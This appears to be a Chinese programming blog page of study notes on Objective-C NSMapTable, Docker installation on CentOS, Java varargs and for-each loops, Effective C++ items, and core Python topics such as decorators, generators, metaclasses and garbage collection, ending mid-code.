Teacher.h @interface Teacher : NSObject @property (nonatomic, copy) NSString *name; @property (nonatomic, assign) NSInteger age; @end // Teacher.m @implementation Teacher @end // ViewController.m Teacher *teacher = [[Teacher alloc] init]; teacher.name = @"teacher"; teacher.age = 30;NSMutableArray *aArray = [[NSMutableArray alloc] initWithCapacity:0]; for (int i = 0; i < 3; i++) { Student *student = [[Student alloc] init]; student.name = [NSString stringWithFormat:@"student%d", i]; student.age = i; [aArray addObject:student]; } NSMapTable *aMapTable = [NSMapTable mapTableWithKeyOptions:NSPointerFunctionsWeakMemory valueOptions:NSPointerFunctionsStrongMemory]; [aMapTable setObject:aArray forKey:teacher]; NSLog(@"%@", aMapTable); 打印日志： NSMapTable { [10] <Teacher: 0x604000038a40> -> ( "<Student: 0x60400003c640>", "<Student: 0x60400003c660>", "<Student: 0x60400003c620>" ) } 这样的方法可以快速的将NSObject对象作为key存入到“字典”中。由于NSDictionary/NSMutableArray会强引用value，使得value的引用计数+1，加入不希望怎么做，可以用NSMapTable来实现。 NSMapTable *aMapTable = [NSMapTable mapTableWithKeyOptions:NSPointerFunctionsStrongMemory valueOptions:NSPointerFunctionsWeakMemory]; { NSObject *keyObject = [[NSObject alloc] init]; NSObject *valueObject = [[NSObject alloc] init]; [aMapTable setObject:valueObject forKey:keyObject]; NSLog(@"NSMapTable:%@", aMapTable); } NSLog(@"NSMapTable:%@", aMapTable); 打印日志： NSMapTable:NSMapTable { [6] <NSObject: 0x60c00000c690> -> <NSObject: 0x60c00000c730> } NSMapTable:NSMapTable { } 第一个NSLog打印出了key-value值，等到object对象指向的NSObject对象超出作用域，释放该对象，由于aMapTable弱引用object对象，aMapTable的中的key-value值会被安全的删除，第二个NSLog打印出的值为空。 NSMapTable与NSDictionary/NSMutableDictionary对比 NSDcitionary有一个可变类型NSMutableDictionary，NSMapTable没有可变类型，它本身就是可变的; NSDcitionary/NSMutableDictionary中对于key和value的内存管理方法唯一，即对key进行copy，对value进行强引用，而NSMapTable没有限制； NSDcitionary中对key值进行copy，不可改变，通常用字符串作为key值，只是key->object的映射，而NSMapTable的key是可变的对象，既可以实现key->object的映射，又可以实现object->object的映射。遗留的问题笔者才疏学浅，对NSMapTable与NSDictionary的内部结构了解不是很深，不清楚key-value是通过怎么样的方式绑定起来的，假如看到这篇文章的朋友有所了解，希望可以指点一二。

2018-07-04

Docker 安装(学习笔记一)

Docker ce:免费版 docker ee:付费版 yum install -y yum-utils device-mapper-persistent-data lvm2 yum-config-manager --add-repo https://download.docker.com/linux/centos/docker-ce.repo yum-config-manager --enable docker-ce-edge yum-config-manager --enable docker-ce-test yum install docker-ce -y systemctl start docker systemctl enable docker

2018-05-23

Js DOM学习笔记--回顾

去年寒假在家看完了JavaScpript DOM这本书刚清理电脑资料的时候发现了这个学习笔记资料就顺便上传了如有错误一起交流，一起进步前半部分摘自 W3school 还可以直接参考 http

2018-05-13

Java学习笔记--可变参数

可变参数的格式：数据类型... 变量名可变参数要注意的细节： 1. 如果一个函数的形参使用上了可变参数之后，那么调用该方法的时候可以传递参数也可以不传递参数。 2. 可变参数实际上是一个数组对象。 3. 可变参数必须位于形参中的最后一个参数。 4. 一个函数最多只能有一个可变参数，因为可变参数要位于形参中最后一个位置上。 public class Demo4 { public static void main(String[] args) { int[] arr = {1,2,3,4}; add(1,2,3,4);//输出10 add(arr);//输出10 add();//输出0 } public static void add(int... arr){ //长度是0 int result = 0; for(int item : arr){ result+=item; } System.out.println("总和："+ result); } }

2018-04-27

java学习笔记--增强for循环

什么是增强for循环？原来的for循环是这样子的： for（int i=0;i<10;i++）那我们来看一下增强for循环： for（object a：x）//不只是object 数组存储的是什么类型的就填什么类型 x是数组或者集合里面是Interator迭代器实现的注意：遍历的时候不能用集合增删元素只能通过迭代器进行操作因为迭代器创建的时候会创建一个单链表如果是通过集合来操作元素数量的话那么实际的数量是变化了可是迭代器创建的那个单链表却还是原来的样子这样子迭代器往下遍历的时候就找不到实际的值重点：增强for循环的适用范围：如果是实现了Iterable接口的对象或者是数组对象（包括int）都可以使用增强for循环。 //注意： Map集合没有实现Iterable接口，所以map集合不能直接使用增强for循环，如果需要使用增强for循环需要借助于Collection // 的集合。 HashMap<String, String> map = new HashMap<String, String>(); map.put("001","张三"); map.put("002","李四"); map.put("003","王五"); map.put("004","赵六"); Set<Map.Entry<String, String>> entrys = map.entrySet(); for(Map.Entry<String, String> entry :entrys){ System.out.println("键："+ entry.getKey()+" 值："+ entry.getValue()); } 举例：实现了Iterable接口的对象 package cn.itcast.jdk15; import java.util.Iterator; //自定一个类使用增强for循环 class MyList implements Iterable<String>{ Object[] arr = new Object[10]; int index = 0 ; //当前的指针 public void add(Object o){ arr[index++] = o; // 1 } public int size(){ return index; } @Override public Iterator<String> iterator() { return new Iterator<String>() { int cursor = 0; @Override public boolean hasNext() { return cursor<index; } @Override public String next() { return (String) arr[cursor++]; } @Override public void remove() { } }; } } public class Demo3 { public static void main(String[] args) { MyList list = new MyList(); list.add("张三"); list.add("李四"); list.add("王五"); for(String item :list){ System.out.println(item); } } }

2018-04-25

Effective C++学习笔记

导读本书的最佳用途：彻底了解C++如何行为，为什么那样行为，以及如何运用其行为形成优势。 size_t是一个typedef，是某种不带正负号的unsigned类型。签名（signature）：函数的参数和返回值。即std::size_t num(int number) 的签名是 std::size_t ( int ) explicit可组织他被用来隐式转换（implicit type conversions）,但他仍可以被进行显示转换（explicit type conversions）。如图：拷贝构造---以同型对象初始化自我对象。拷贝赋值---从另一个同性对象中拷贝其值到自我对象。 1、让自己习惯C++ 条款一：视C++为一个语言联邦 c++是四种语言的联邦每种语言都有自己的规约。C++高效编程守则视状况而变化，取决于你使用C++的哪一部分。条款2：尽量以const、enum、inline替换#define 也就是“宁可以编译器替换预处理”。因为define或许不被视为语言的一部分。 class专属常量：为了将常量的作用域（scope）限制于class内，必须让它成为class的一个成员（member）；而为了确保此常量最多只有一份实体，必须让它成为static成员。我们无法用#define创建一个专属常量。 menu hack： 1、menu hack的行为更像#define，而不是const。例如取const地址是合法的，而取menu hack或者#define的地址是不合法的。 2、如果不希望别人活得一个pointer或reference指向你的某个常量，enum可以帮你实现这个约束。 3、enum和#define绝不会导致没必要的内存分配，因为有的编译器会为const对象设定另外的存储空间。 4、enum hack是模板元编程的技术基础。对于单纯的常量，最好以const对象或enum替换#define；对于形似函数的宏，最好用inline函数替换#define。条款3：尽可能使用const 令函数的返回值为const，可以降低因客户错误而造成的意外。如下图： class R{.....} const R poerator *(const R& lns, const R& rhs) 两个成员函数如果只是常量性（constness）方面不同，可以被重载，如下图：上图中non-const operator[]的返回值类型是char &，而不是char，因为如果函数的返回类型是一个内置类型，那么改动函数返回值就不合法（what？我不懂。。。吴老师：这个说法有点令人困惑。关键不是内置类型与否，而是值类型与否。需要修改内容，函数需要返回一个非const的引用。。。还是不太懂。。。）条款4：确定对象被使用前已先被初始化 int x； c++语言中，上述语句在某些语境下，x被初始化为0，某些情况下x不被初始化。读取未初始化的值会导致不明确的行为。在某些平台上，仅仅只是读取未初始化的值，就可以让你的程序终止运行。不要混淆赋值和初始化，如下图： c++规定：对象成员变量的初始化动作发生在进入构造函数本体之前。使用初始列进行初始化的效率更高，因为比起先调用default构造函数然后再调用copy assignment操作符，单只调用一次copy构造函数比较高效，有时甚至高效得多。 (1)在初始化列表中，成员的初始化顺序和成员的声明顺序相同，与初始化列表的位置顺序无关。(2) 初始化列表先于构造函数执行。 (3) 类中可以定义const成员变量，它并非真正意义的常量，而是只读变量，其初始化方式只能依靠初始化列表。 const只读变量虽然不可出现在赋值符号的左边，但是可以通过指针去修改其值的。（what？？？）当你想要default构造一个成员变量，你都可以使用初值列，只要指定无物（nothing）作为初始化实参即可。如下图：规定总是在初值列中列出所有成员变量，以免去记忆哪些成员变量可以无需初值。如果成员变量是const或references，它就需要初值，而不能被赋值。具体原因详见链接： https://blog.csdn.net/qq_29344757/article/details/76093216 在class中，变量不能直接初始话，需要通过构造函数（或拷贝构造函数）来初始话，如果程序员没有定义构造函数系统会有一个默认构造函数。除了静态数据成员外，数据成员不能在类体内显式的初始化不同编译单元内定义之non-local static 对象条款5：了解C++默默编写并调用哪些函数当你写一个空类没有声明的时候，编译器会为他声明一个copy构造函数、一个copy assignment函数和一个析构函数。如果你没有声明任何构造函数，编译器会为你声明一个default构造函数。如下图：当这些函数被调用的时候，编译器才会把他们创建出来。注意：编译器产生的析构函数是一个non-virtual，除非这个class的base class自身声明有virtual析构函数（不明觉厉，先记下来）如果类中你声明了一个带实参的构造函数，编译器便不会创建default构造函数，如此，你写的构造函数就不会被创建出来的无实参的default构造函数覆盖掉。条款6：若不想使用编译器自动生成的函数，就应该明确的拒绝驳回编译器自动提供的功能，可将相应的成员函数声明为private并且不予实现。或者使用上图所示的手法也可以（上图所示的手法感觉更好一点）条款7：为多态基类声明virtual析构函数如果一个类里面不含虚函数，通常意味着他并不意图被用做一个base class（基类）。当类不企图被当做base class，灵其析构函数为virtual往往是个馊主意。C++标准库中很多都是没有虚函数的class，比如string、vector、list等，所以不要把标准库中的类作为基类。虚指针vptr（virtual table pointer）用于在运行期决定哪一个虚函数被调用。vptr指向一个由函数指针构成的数组，该数组称为虚表vtbl（virtual table）：每个带有虚函数的类都有对应的虚表。纯虚函数导致抽象类（不能被实例化（instantiated）的类）虚析构函数的作用：为了当用一个基类的指针删除一个派生类的对象时，派生类的析构函数会被调用。（用C++开发的时候，用来做基类的类的析构函数是虚函数。） Class ClxBase { public: ClxBase() {}; //虚虚构函数 virtual ~ClxBase() {}; virtual void DoSomething() { cout << "Do something in class ClxBase!" << endl; }; }; 条款8：别让异常逃离析构函数析构函数绝对不要吐出异常。如果一个被析构函数调用的函数可能会抛出异常，析构函数应该捕捉任何异常，然后吞下他们（不传播）或结束程序。如果客户需要对某一操作函数运行期间抛出的异常做出反应，那么class应该提供一个普通函数（而非在析构函数中）执行该操作。条款9：绝不在构造和析构过程中调用虚函数 class Transation { public: Transation(); virtual void logTransaction() const = 0; ... }; Transation::Transation() { ... logTransaction();//构造函数调用虚函数 } class BuyTransation :public Transation { public: virtual void logTransation() const; ... };上述代码执行： BuyTransation b; 在该调用logTransaction时，调用的虚函数是base class中的，而不是BuyTransaction中的。因为：base class（基类）构造期间，虚函数不会下降到derived classes（子类）阶层。由于base classes构造函数的执行更早于的derived classes构造函数，当base class 构造函数执行时derived class的成员变量尚未初始化，如果器件调用的virtual函数下降至derived classes阶层，而derived classes的函数机会必然去用local成员变量，而那些成员变量尚未初始化，因此无法调用derived classes中的虚函数，而是调用base class的虚函数。更根本原因：在derived class对象的base class 构造期间，对象的类型是base class而不是derived class。不止虚函数会被编译器解析至base class，若使用运行期类型信息，也会把对象是为base class。 logTransaction是纯虚函数，除非他被定义，否则程序无法连接，因为连接器找不到必要的Transaction：：logTransaction实现代码。弥补措施：在构造期间，可以藉由“令derived classes将必要的构造信息向上传递至base class构造函数”。条款10：令operator= 返回一个 reference to *this 赋值采用右结合定律，因此x=y=z=15等价于（x=（y=（z=15）））。为了实现“连锁赋值”，赋值操作符必须返回一个reference指向操作符的左侧实参。条款11：在operator= 中处理“自我赋值” “自我赋值”发生在对象被赋值给自己时。拷贝构造函数里面应该先判断一下传入的参数是不是自己。条款12：复制对象时勿忘其每一个成分如果你自己写拷贝构造函数，而不用编译器默认构造的拷贝构造函数，当你为class添加一个成员变量后，你必须同时修改拷贝构造函数，如果你忘记，编译器也不太可能会提醒你。一旦你给这个class添加了子类，而忘记修改基类的拷贝构造函数，子类就无法对从父类那里继承下来的变量进行赋值。拷贝构造函数应该确保复制“对象内的所有成员变量”及“所有base class成分”。不要试图使拷贝赋值函数调用拷贝构造函数，同时也不要试图让拷贝构造函数调用拷贝赋值函数。如果上述两个函数有重复代码，可以在private里面写一个函数供上述两个函数调用，该函数常备命名为init 条款13：对象管理资源

2018-04-21

python核心学习笔记

import 导入模块 1.import导入模块 import 导入模块（搜索路径） import sys sys.path 从列出的目录里依次查找要导入的模块文件程序导入路径因为sys.path返回的是一个列表，那么就可以用sys.path.append("需要导入的模块路径")，相对路径不用/，绝对路径/开头重新导入模块模块被导入后，如果某一方更新了这个模块，但是import module不能重新导入模块，重新导入需用from imp import *,然后再使用reload(test)即可重新导入 2.循环导入循环导入就是程序在导入某个模块的过程中，该模块里的函数又需要导入自身的这个模块，如此进入死循环，避免循环导入：所有在开发的过程中，开发者们写的模块不能相互调用，即应该相互隔开，然后由架构师来负责整体的模块调用使用，也就是上下设计分层，降低耦合 3.在一般情况下，如果仅仅是用作模块引入，不必写if __name__ =="__main__": ==和is 1.＝＝和is is 是比较两个引用是否指向了同一个对象（引用比较）。a is b :返回False == 是比较两个对象是否相等 a ==b:返回True 总结：判断两者内容用＝＝，判断两者是否指向同一个用is，如果是数字则在一个负数到正的一百二十多，==和is都为True，过了这个范围两者就不指向一个对象了浅拷贝和深拷贝 1.浅拷贝和深拷贝浅拷贝是对于一个对象的顶层拷贝，通俗的理解是：拷贝了引用，并没有拷贝内容相当于把变量里面指向的一个地址给了另一个变量就是浅拷贝，而没有创建一个新的对象，如a=b 深拷贝首先要import copy，然后c = copy.deepcopy(a)，就表示把a的内容深拷贝到c中，如果发现了a中也存在引用的内容，则递归拷贝，也就是把当前的这个引用的对象继续深拷贝 copy和deepcopy的区别 copy:浅拷贝，里面如果有可变类型，修改这个可变类型（如list），被拷贝的对象也会相应改变，仅仅拷第一层，如果是不可变类型，就一层都不拷，如果是可变类型就拷一层 deepcopy:深拷贝，里面不管是可变类型和不可变类型，被拷贝的对象都不会受到影响，递归拷贝 copy和deepcopy拷贝元组的特点使用copy模块的copy功能的时候，它会根据当前拷贝的数据类型是可变类型还是不可变类型有不同的处理方式，如元组是不可变类型，拷贝多份没有用，对copy来说，如果是可变类型就拷一层，如果是不可变类型，就一层都不拷进制丶位运算 1.进制间的转换 bin(10) #10进制转为2进制 int("1001",2) #2进制转为10进制 hex(10) #10进制转为16进制 int('ff',16) #16进制转为10进制 bin(0xa) #16进制转为2进制 oct(8) #10进制转为8进制 hex(0b1001) #2进制转为16进制，0b表示二进制 2.位运算的介绍 & 按位与 | 按位或 ^ 按位异或 ~ 按位取反 << 按位左移 >> 按位右移用途：直接操作二进制，省内存，效率高私有化 1.私有化 xx: 公有变量 _x: 单前置下划线,私有化属性或方法，from somemodule import *禁止导入,类对象和子类可以访问 __xx：双前置下划线,避免与子类中的属性命名冲突，无法在外部直接访问(名字重整所以访问不到) __xx__:双前后下划线,用户名字空间的魔法对象或属性。例如:__init__ , __ 不要自己发明这样的名字 xx_:单后置下划线,用于避免与Python关键词的冲突总结：父类中属性名为__名字的，子类不继承，子类不能访问如果在子类中向__名字赋值，那么会在子类中定义的一个与父类相同名字的属性 _名的变量、函数、类在使用from xxx import *时都不会被导入属性property 1.属性property-1 私有属性添加getter和setter方法使用property升级getter和setter方法 #num = property(getNum,setNum) #将方法转换为只读#注意点:#1.Num到底是调用getNum()还是setNum(),要根据实际的场景来判断,值得注意的是一定要先填getNum后setNum#2.如果是给t.num赋值，那么一定调用setNum() #3.如果是获取t.num的值，那么就一定调用getNum() #property的作用:相当于把方法进行了封装，开发者在对属性设置数据的时候更方便 2.属性property-2 第二种的property的方法 @property #修饰器 def num(self): print("------getter-----") return self.__num @num.setter #修饰器 def num(self,new_num): print("------setter------") self.__num = new_num t.num = 20 print(t.num) 迭代器 1.迭代器迭代是访问集合元素的一种方式。迭代器是一个可以记住遍历的位置的对象。迭代器对象从集合的第一个元素开始访问，直到所有的元素被访问完结束。迭代器只能往前不会后退。 2.可迭代对象可以直接用for 循环遍历的数据类型有以下几种：一类是集合数据类型，如 list 、 tuple 、 dict 、 set 、 str 等；一类是 generator（列表生成式，生成器），包括生成器和带 yield 的generator function。这些可以直接作用于 for 循环的对象统称为可迭代对象： Iterable 。 3.判断是否可以迭代可以使用 isinstance() 判断一个对象是否是 Iterable 对象： from collections import Iterable isinstance([ ], Iterable)，如果可以迭代就返回True 而生成器不但可以作用于 for 循环，还可以被 next() 函数不断调用并返回下一个值，直到最后抛出 StopIteration 错误表示无法继续返回下一个值了。 4.迭代器可以被next()函数调用并不断返回下一个值的对象称为迭代器：Iterator。可以使用 isinstance() 判断一个对象是否是 Iterator 对象：生成器（i for i in range(10））一定是迭代器，但迭代器不一定是生成器 from collections import Iterator isinstance((x for x in range(10)), Iterator)，如果是的话就返回True 5.iter( )函数生成器都是 Iterator（迭代器）对象，但 list 、 dict 、 str 虽然是 Iterable （可迭代），却不是 Iterator （迭代器）把 list 、 dict 、 str 等 Iterable（可迭代）变成 Iterator（迭代器）可以使用 iter() 函数，就好比人可以游泳，但不是天生就会，可迭代对象就好比人，迭代器就好比会游泳的人，需要经过iter( )训练一样 isinstance(iter([ ]), Iterator) True 闭包 1.函数的引用 test1() #调用函数 ret = test #引用函数 ret() #通过引用调用函数 2.什么是闭包在函数内部再定义一个函数，并且这个函数用到了外边函数的变量，那么将这个函数以及用到的一些变量称之为闭包 def test(number): print("-----1-----") def test_in(number2): print("----2-----") print(number+number2) print("------3------") #把函数的引用返回了 return test_in#用来接收test(100)，指向类一个函数体,这个100传给了numberret = test(100)#这个1传给了number2ret(1) 这个返回101 ret(100) 这个返回200 ret(200) 这个返回300 3.闭包再理解内部函数对外部函数作用域里变量的引用（非全局变量），则称内部函数为闭包闭包的实际例子： def line_conf(a, b): def line(x): return a*x + b return lineline1 = line_conf(1, 1)line2 = line_conf(4, 5)print(line1(5)) print(line2(5)) 这个例子中，函数line与变量a,b构成闭包。在创建闭包的时候，我们通过line_conf的参数a,b说明了这两个变量的取值，这样，我们就确定了函数的最终形式(y = x + 1和y = 4x + 5)。我们只需要变换参数a,b，就可以获得不同的直线表达函数。由此，我们可以看到，闭包也具有提高代码可复用性的作用装饰器 1.装饰器装饰器是程序开发中经常会用到的一个功能，用好了装饰器，开发效率如虎添翼，所以这也是Python面试中必问的问题，但对于好多初次接触这个知识的人来讲，这个功能有点绕，自学时直接绕过去了，然后面试问到了就挂了，因为装饰器是程序开发的基础知识，这个都不会，别跟人家说你会Python, 看了下面的文章，保证你学会装饰器。在有两个重名的函数中，Python解释器会调用最后定义的那重名函数，因为在python里，第一个函数指向的是一片内存，然后又让这个函数指向另一片内存，就会利用第二片内存来执行，所有函数名应尽量避免相同写代码要遵循开放封闭原则，虽然在这个原则是用的面向对象开发，但是也适用于函数式编程，简单来说，它规定已经实现的功能代码不允许被修改，但可以被扩展，即：封闭：已实现的功能代码块开放：对扩展开发实例：def w1(func): def inner(): # 验证1 # 验证2 # 验证3 func() return inner @w1 #装饰器 def f1(): print('f1') @w1 #装饰器 def f2(): print('f2') ........ 对于上述代码，也是仅仅对基础平台的代码进行修改，就可以实现在其他人调用函数 f1 f2 f3 f4 之前都进行【验证】操作，并且其他业务部门无需做任何操作装饰器的功能：引入日志函数执行时间统计执行函数前预备处理执行函数后清理功能权限校验等场景缓存如果是有多个装饰器的情况，一般是先装饰最下面的一个，然后依次往上，@w1类比于f1 = w1(f1) 装饰有参数的函数：在传递参数的时候，需要在闭包里面定义一个形参，闭包里面的调用的函数也要定义一个形参，否则会导致两部分函数调用失败装饰不定长的参数的函数：在传递参数的时候，需要在闭包里面定义一个*args和**kwargs，闭包里面的调用的函数也要定义一个*args和**kwargs，这样就可以在调用的时候传递任意长度的参数，增加代码的可复用性装饰带返回值的函数：需要在闭包里面进行一个接收，也就是ret = test()，然后再把接收到的return ret出去，这样在装饰的test才能返回出当前需要返回的东西，否则只会返回None 通用的装饰器：例：def w1(func):print("-----正在装饰-----") def inner(*args,**kwargs): print("---正在验证权限---") print("----记录日志----") ret = func(*args,**kwargs) #保存返回来的haha return ret #把haha返回到17行的调用 return inner 带有参数的装饰器：也就是在原来包含一个闭包的函数外面再给他套一个函数，用来传递装饰器的参数如： def func_arg(arg): def w1(func): print("---记录日志---") def inner(*args,**kwargs): func(*args,**kwargs) #保存返回来的haha return inner return w1 @func_arg("heihei")def f1(): print("----f1----") #1.先执行func_arg("heihei")函数，这个函数return的结果是#2.@w1#3.使用@w1对f1进行装饰作用：带有参数的装饰器，能够起到在运行时，有不同的功能作用域 1.作用域什么是命名空间：变量命名的范围（变量起作用的范围） LEGB规则：Python 使用 LEGB 的顺序来查找一个符号对应的对象，即locals -> enclosing function -> globals -> builtins locals，当前所在命名空间（如函数、模块），函数的参数也属于命名空间内的变量 enclosing，外部嵌套函数的命名空间（闭包中常见） globals，全局变量，函数定义所在模块的命名空间 builtins，内建模块的命名空间在Python中，有一个内建模块，该模块中有一些常用函数;在Python启动后，且没有执行程序员所写的任何代码前，Python会首先加载该内建函数到内存。另外，该内建模块中的功能可以直接使用，不用在其前添加内建模块前缀，其原因是对函数、变量、类等标识符的查找是按LEGB法则，其中B即代表内建模块比如：内建模块中有一个abs()函数，其功能求绝对值，如abs(-20)将返回20 python是动态语言 1.python是动态语言动态编程语言是高级程序设计语言的一个类别，在计算机科学领域已被广泛应用。它是一类在运行时可以改变其结构的语言：例如新的函数、对象、甚至代码可以被引进，已有的函数可以被删除或是其他结构上的变化。动态语言目前非常具有活力。例如JavaScript便是一个动态语言，除此之外如 PHP 、 Ruby 、 Python 等也都属于动态语言，而 C 、 C++ 等语言则不属于动态语言，这种动态语言的应用就好比是在没有更新app的情况下，它的界面在后台也可以被开发者更改，因为它是动态的，可以把新增的动态程序放置在文本，只要加载一遍即可运行的过程中给对象绑定(添加)属性：也就是说给对象绑定一个实例属性（这个属性是初始化之外的额外属性），只有这个创建对象的属性如laozhao.addr = "北京" 运行的过程中给类绑定(添加)属性：如果需要所有的一个类的实例加上一个属性怎么办呢？答案就是直接给这个类绑定属性，如Person.sex = "male" 运行的过程中给类绑定(添加)方法:如果是对这个类绑定一个实例方法，那么就要先import types，然后如对象.方法名 = types.MethodType(函数名, 对象)，把run这个方法绑定到P对象上。如果是静态方法和类方法，就直接用类名.方法名＝函数名运行的过程中删除属性、方法： del 对象.属性名 delattr(对象, "属性名") __slots__的作用 1.__slots__的作用动态语言：可以在运行的过程中，修改代码静态语言：编译时已经确定好代码，运行过程中不能修改为了达到限制的目的，Python允许在定义class的时候，定义一个特殊的__slots__变量，来限制该class实例能添加的属性，如__slots__ = ("name","age")，就可以达到限制name和age的属性，如果发现有添加其他属性的程序就会发生异常使用__slots__要注意，__slots__定义的属性仅对当前类实例起作用，对继承的子类是不起作用的生成器 1.生成器什么是生成器：通过列表生成式，我们可以直接创建一个列表。但是，受到内存限制，列表容量肯定是有限的。而且，创建一个包含100万个元素的列表，不仅占用很大的存储空间，如果我们仅仅需要访问前面几个元素，那后面绝大多数元素占用的空间都白白浪费了创建生成器方法1：要创建一个生成器，有很多种方法。第一种方法很简单，只要把一个列表生成式的 [ ] 改成 ( ) 如 L = [ x*2 for x in range(5)]和G = ( x*2 for x in range(5))，L 是一个列表，而 G 是一个生成器，可以通过 next(G) 函数获得生成器的下一个返回值，不断调用 next() 实在是太变态了，正确的方法是使用 for 循环，因为生成器也是可迭代对象创建生成器方法2: fib函数变成generator，只需要把print(b)改为yield b就可以了,循环过程中不断调用 yield ，就会不断中断。当然要给循环设置一个条件来退出循环，不然就会产生一个无限数列出来，当循环到没有元素的时候，将会生成异常，这时候就要用try和exception来检测异常，#print自动检测异常并停止,但是next()就要用try ，在创建生成器的时候需要接收函数的返回值#1.next(返回函数名)和 #2.返回函数名.__next__()是一样的方法来获取下一个返回值总结：生成器是这样一个函数，它记住上一次返回时在函数体中的位置。对生成器函数的第二次（或第 n 次）调用跳转至该函数中间，而上次调用的所有局部变量都保持不变，生成器不仅“记住”了它数据状态；生成器还“记住”了它在流控制构造（在命令式编程中，这种构造不只是数据值）中的位置生成器的特点：节约内存迭代到下一次的调用时，所使用的参数都是第一次所保留下的，即是说，在整个所有函数调用的参数都是第一次所调用时保留的，而不是新创建的 send用法：如果在在程序中有个变量等于yield，不是说把yield的值给了这个变量，而是接下来在下一次调用执行一次的时候可以传一个值，t.send("haha")和t.__next__()都可以让生成器继续执行，不同的是send可以传递一个值但是不能在程序刚开始执行就用send传值，有两种方法，要么先用__next__调用一次，再send一个值，或者t.send(None) 生成器.完成多任务：控制多个任务执行的情况类装饰器（扩展，非重点） 1.类装饰器（扩展，非重点）装饰器函数其实是这样一个接口约束，它必须接受一个callable对象作为参数，然后返回一个callable对象。在Python中一般callable对象都是函数，但也有例外。只要某个对象重写了 __call__() 方法，那么这个对象就是callable的 class Test(object): def __init__(self, func): print("---初始化---") print("func name is %s"%func.__name__) self.__func = func def __call__(self): print("---装饰器中的功能---") self.__func() #说明：#1. 当用Test来装作装饰器对test函数进行装饰的时候，首先会创建Test的实例对象# 并且会把test这个函数名当做参数传递到__init__方法中# 即在__init__方法中的func变量指向了test函数体##2. test函数相当于指向了用Test创建出来的实例对象##3. 当在使用test()进行调用时，就相当于让这个对象()，因此会调用这个对象的__call__方法##4. 为了能够在__call__方法中调用原来test指向的函数体，所以在__init__方法中就需要一个实例属性来保存这个函数体的引用# 所以才有了self.__func = func这句代码，从而在调用__call__方法中能够调用到test之前的函数体@Testdef test(): print("----test---")test() showpy()#如果把这句话注释，重新运行程序，依然会看到"--初始化--" 元类 1.元类类也是对象：在大多数编程语言中，类就是一组用来描述如何生成一个对象的代码段，类同样也是一种对象动态的创建类：因为类也是对象，你可以在运行时动态的创建它们，就像其他任何对象一样def choose_class(name): if name == 'foo': class Foo(object): pass return Foo # 返回的是类，不是类的实例 else: class Bar(object): pass return Bar MyClass = choose_class('foo') 当你使用class关键字时，Python解释器自动创建这个对象 2.使用type创建类: type还有一种完全不同的功能，动态的创建类,type可以像这样工作： type(类名, 由父类名称组成的元组（针对继承的情况，可以为空），包含属性的字典（名称和值）) 如：Test2 = type("Test2",(),{}) #定了一个Test2类 3. 使用type创建带有属性的类： Foo = type('Foo', (), {'bar':True}) 4.使用type创建带有方法的类： FooChild = type('FooChild', (Foo,), {'echo_bar': echo_bar}) ，这是添加实例方法echo_bar Foochild = type('Foochild', (Foo,), {"echo_bar":echo_bar, "testStatic":testStatic})，添加静态方法 Foochild = type('Foochild', (Foo,), {"echo_bar":echo_bar, "testStatic":testStatic, "testClass":testClass})，添加类方法 5.到底什么是元类：元类就是用来创建类的“东西，元类就是用来创建这些类（对象）的，元类就是类的类，元类又由元类创建，Python中所有的东西，注意，我是指所有的东西——都是对象。这包括整数、字符串、函数以及类 __metaclass__属性： class Foo(object): __metaclass__ = something… 如果你这么做了，Python就会用元类来创建类Foo。小心点，这里面有些技巧。你首先写下class Foo(object)，但是类Foo还没有在内存中创建。Python会在类的定义中寻找__metaclass__属性，如果找到了，Python就会用它来创建类Foo，如果没有找到，就会用内建的type来创建这个类 GC垃圾回收 1.GC垃圾回收小整数对象池：Python为了优化速度，使用了小整数对象池，避免为整数频繁申请和销毁内存空间。 Python 对小整数的定义是 [-5, 257) 这些整数对象是提前建立好的，不会被垃圾回收大整数对象池：每一个大整数，均创建一个新的对象 intern机制：假如要创建n个对象的是一样的字符串，那么python只会创建一个内存空间来存储，其他对象都是引用，但如果字符串中出现空格或其他符号就表示为不同的对象 GC(Garbage collection)垃圾回收： python里也同java一样采用了垃圾收集机制，不过不一样的是: python采用的是引用计数机制为主，标记-清除和分代收集两种机制为辅的策略 2.引用计数机制的优点：简单实时性：一旦没有引用，内存就直接释放了。不用像其他机制等到特定时机。实时性还带来一个好处：处理回收内存的时间分摊到了平时 3. 引用计数机制的缺点：维护引用计数消耗资源循环引用 4.GC系统所承担的工作远比"垃圾回收"多得多。实际上，它们负责三个重要任务: 为新生成的对象分配内存识别那些垃圾对象，并且从垃圾对象那回收内存 5.垃圾回收机制：Python中的垃圾回收是以引用计数为主，分代收集为辅导致引用计数+1的情况：对象被创建，例如a=23 对象被引用，例如b=a 对象被作为参数，传入到一个函数中，例如func(a) 对象作为一个元素，存储在容器中，例如list1=[a,a] 6.导致引用计数-1的情况：对象的别名被显式销毁，例如del a 对象的别名被赋予新的对象，例如a=24 一个对象离开它的作用域，例如f函数执行完毕时，func函数中的局部变量（全局变量不会）对象所在的容器被销毁，或从容器中删除对象 7. 查看一个对象的引用计数： import sys a = "hello world" sys.getrefcount(a) 可以查看a对象的引用计数，但是比正常计数大1，因为调用函数的时候传入a，这会让a的引用计数+1 有三种情况会触发垃圾回收: 调用gc.collect(), 当gc模块的计数器达到阀值的时候。程序退出的时候 8.gc模块的自动垃圾回收机制：必须要import gc模块，并且is_enable()=True才会启动自动垃圾回收。这个机制的主要作用就是发现并处理不可达的垃圾对象。垃圾回收=垃圾检查+垃圾回收在Python中，采用分代收集的方法。把对象分为三代，一开始，对象在创建的时候，放在一代中，如果在一次一代的垃圾检查中，该对象存活下来，就会被放到二代中，同理在一次二代的垃圾检查中，该对象存活下来，就会被放到三代中。 gc模块里面会有一个长度为3的列表的计数器，可以通过gc.get_count()获取，gc.set_threshold(threshold0[, threshold1[, threshold2]) 设置自动执行垃圾回收的频率，例如(700,10,10) 每一次计数器的增加，gc模块就会检查增加后的计数是否达到阀值的数目，700表示阈值，10表示没清理10次零代就清理一次二代，第二个10表示每清理10次一代链表就清理二代一次注意点：gc模块唯一处理不了的是循环引用的类都有__del__方法，所以项目中要避免定义__del__方法内建属性和函数 1.内建属性常用专有属性说明触发方式__init__ 构造初始化函数创建实例后,赋值时使用,在__new__后__new__ 生成实例所需属性创建实例时__class__ 实例所在的类实例.__class____str__ 实例字符串表示,可读性 print(类实例),如没实现，使用repr结果__repr__ 实例字符串表示,准确性类实例回车或者 print(repr(类实例))__del__ 析构 del删除实例__dict__ 实例自定义属性 vars(实例.__dict__)__doc__ 类文档,子类不继承 help(类或实例)__getattribute__ 属性访问拦截器访问实例属性时 __bases__ 类的所有父类构成元素类名.__bases__ def __getattribute__(self,obj): if 